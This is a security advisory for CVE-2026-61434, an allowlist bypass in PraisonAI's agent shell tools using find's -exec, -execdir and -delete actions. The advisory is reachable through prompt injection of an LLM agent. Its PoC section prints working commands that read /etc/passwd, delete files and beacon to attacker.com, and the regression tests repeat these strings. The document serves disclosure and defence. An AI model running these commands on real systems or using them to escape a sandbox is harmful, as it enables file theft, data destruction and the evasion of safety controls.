CVE-2026-61434: PraisonAI before 4.6.78 Allowlist Bypass via find -exec

Published Jul 10, 2026
·
Updated

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters ( ;|&><$()${} ) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULTBLOCKEDCOMMANDS | | 3 | Python safeshell | src/praisonai/praisonai/cli/features/safeshell.py:22-58 | find absent from BANNEDCOMMANDS, present in SAFECOMMANDS | | 4 | Python sandboxexecutor | src/praisonai/praisonai/cli/features/sandboxexecutor.py:87-91 | find absent from blockedcommands |

Bypass analysis:

| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/ | {, }, + are not in regex | PASS | | Regex /\$\([^)]\)/ | No $(...) | PASS | | safeCommands.includes('find') | find IS in allowlist | PASS | | SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) | PASS | | spawn('find', [...], {shell:false}) | find interprets -execdir internally | BYPASS |

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

javascript const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true

// Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

javascript await shell('find /app/uploads -name ".bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero

4. Python safeshell

python from praisonai.cli.features.safeshell import safeexecute

result = safeexecute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

- Blocked file read: -execdir reads files in DEFAULTBLOCKEDPATHS by splitting the path across arguments (verified: exit 0, data returned) - File deletion: -delete destroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests: typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name ".bak" -delete')).success).toBe(false); });

References

- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Other sources

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

— NVD

Affected Software

2 affected componentsFixes available
PraisonAI PraisonAI<4.6.78
pip/praisonai<=4.6.77
4.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.78
  2. Upgrade

    Upgrade PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.6.78
  3. Configuration

    Remove find from the safe/allowed command lists in all four implementations: TS utility-tools shell(), TS SandboxExecutor, Python safe_shell, and Python sandbox_executor. If find must remain, parse its arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir.

    PraisonAI command-execution implementations find safe/allowed command handling = remove find from each safe/allowed command list

Event History

Jul 10, 2026
CVE Published
via MITRE·01:58 PM
Data Sourced
via MITRE·01:58 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness
Oct 8, 2026
Advisory Published
via GitHub·10:00 PM
Data Sourced
via GitHub·10:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-61434?

The severity of CVE-2026-61434 is rated high with a score of 8.7.

2

How do I fix CVE-2026-61434?

To fix CVE-2026-61434, upgrade your PraisonAI to version 4.6.78 or later.

3

What type of vulnerability is CVE-2026-61434?

CVE-2026-61434 is classified as an OS Command Injection vulnerability.

4

What impact does CVE-2026-61434 have?

CVE-2026-61434 allows attackers to bypass the allowlist and execute restricted commands, leading to unauthorized access to sensitive files.

5

Which versions of PraisonAI are affected by CVE-2026-61434?

PraisonAI versions prior to 4.6.78 are affected by CVE-2026-61434.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203